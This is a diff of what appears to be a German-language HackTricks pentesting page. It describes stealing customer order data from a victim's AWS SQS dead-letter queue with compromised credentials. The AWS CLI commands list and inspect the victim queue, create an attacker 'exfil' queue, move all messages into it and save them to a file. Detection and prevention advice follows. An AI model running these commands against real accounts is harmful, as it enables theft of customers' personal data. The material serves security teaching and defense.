**Szenario**: Ein Angreifer hat AWS-Zugangsdaten kompromittiert und festgestellt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Kundenbestellverarbeitung enthält.
|
||||
|
||||
1) **DLQ des Opfers finden und untersuchen**
|
||||
1) **Discover and examine the victim DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Erstelle eine vom Angreifer kontrollierte Ziel-Queue**
|
||||
2) **Erstelle attacker-controlled Ziel-Queue**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Führe den massenhaften Nachrichtendiebstahl durch**
|
||||
3) **Führe den massenhaften Nachrichtendiebstahl aus**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
@@ -114,15 +116,15 @@ echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Cross-Account-Hinweise
|
||||
- Die Ziel-Queue muss eine Resource-Policy haben, die dem victim principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS-Grants/Berechtigungen).
|
||||
- Die Ziel-Queue muss eine resource policy haben, die dem Opfer-Principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS Grants/Berechtigungen).
|
||||
|
||||
## Warum dieser Angriff effektiv ist
|
||||
|
||||
1. **Legitime AWS-Funktion**: Verwendet eingebaute AWS-Funktionalität, wodurch es schwer ist, dies als bösartig zu erkennen
|
||||
2. **Massenoperation**: Überträgt tausende Nachrichten schnell, statt über langsamen Einzelzugriff
|
||||
1. **Legitime AWS-Funktion**: Nutzt eingebaute AWS-Funktionalität, wodurch es schwer ist, dies als bösartig zu erkennen
|
||||
2. **Massenoperation**: Überträgt tausende Nachrichten schnell statt langsamen Einzelzugriffs
|
||||
3. **Historische Daten**: DLQs sammeln über Wochen/Monate sensible Daten an
|
||||
4. **Unauffällig**: Viele Organisationen überwachen DLQ-Zugriffe nicht genau
|
||||
5. **Cross-Account-fähig**: Kann in das eigene AWS-Konto des Angreifers exfiltrieren, wenn Berechtigungen es erlauben
|
||||
4. **Unbemerkt**: Viele Organisationen überwachen den Zugriff auf DLQs nicht genau
|
||||
5. **Cross-Account-fähig**: Kann Daten in das eigene AWS-Konto des Angreifers exfiltrieren, wenn die Berechtigungen dies erlauben
|
||||
|
||||
## Erkennung und Prävention
|
||||
|
||||
@@ -143,8 +145,10 @@ done
|
||||
}
|
||||
```
|
||||
### Prävention
|
||||
1. **Prinzip der geringsten Privilegien**: Beschränke die Berechtigungen `sqs:StartMessageMoveTask` ausschließlich auf die notwendigen Rollen
|
||||
2. **DLQs überwachen**: Richte CloudWatch-Alarme für ungewöhnliche DLQ-Aktivitäten ein
|
||||
3. **Kontenübergreifende Richtlinien**: Überprüfe sorgfältig SQS-Queue-Richtlinien, die kontenübergreifenden Zugriff erlauben
|
||||
1. **Prinzip der geringsten Privilegien**: Beschränke die `sqs:StartMessageMoveTask`-Berechtigungen auf ausschließlich notwendige Rollen
|
||||
2. **DLQs überwachen**: Richte CloudWatch-Alarme für ungewöhnliche DLQ-Aktivität ein
|
||||
3. **Kontoübergreifende Richtlinien**: Überprüfe SQS-Queue-Policies, die kontoübergreifenden Zugriff erlauben, sorgfältig
|
||||
4. **DLQs verschlüsseln**: Verwende SSE-KMS mit eingeschränkten Schlüsselrichtlinien
|
||||
5. **Regelmäßige Bereinigung**: Lasse sensible Daten nicht unbegrenzt in DLQs ansammeln
|
||||
5. **Regelmäßige Bereinigung**: Lass sensible Daten nicht unbegrenzt in DLQs ansammeln
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user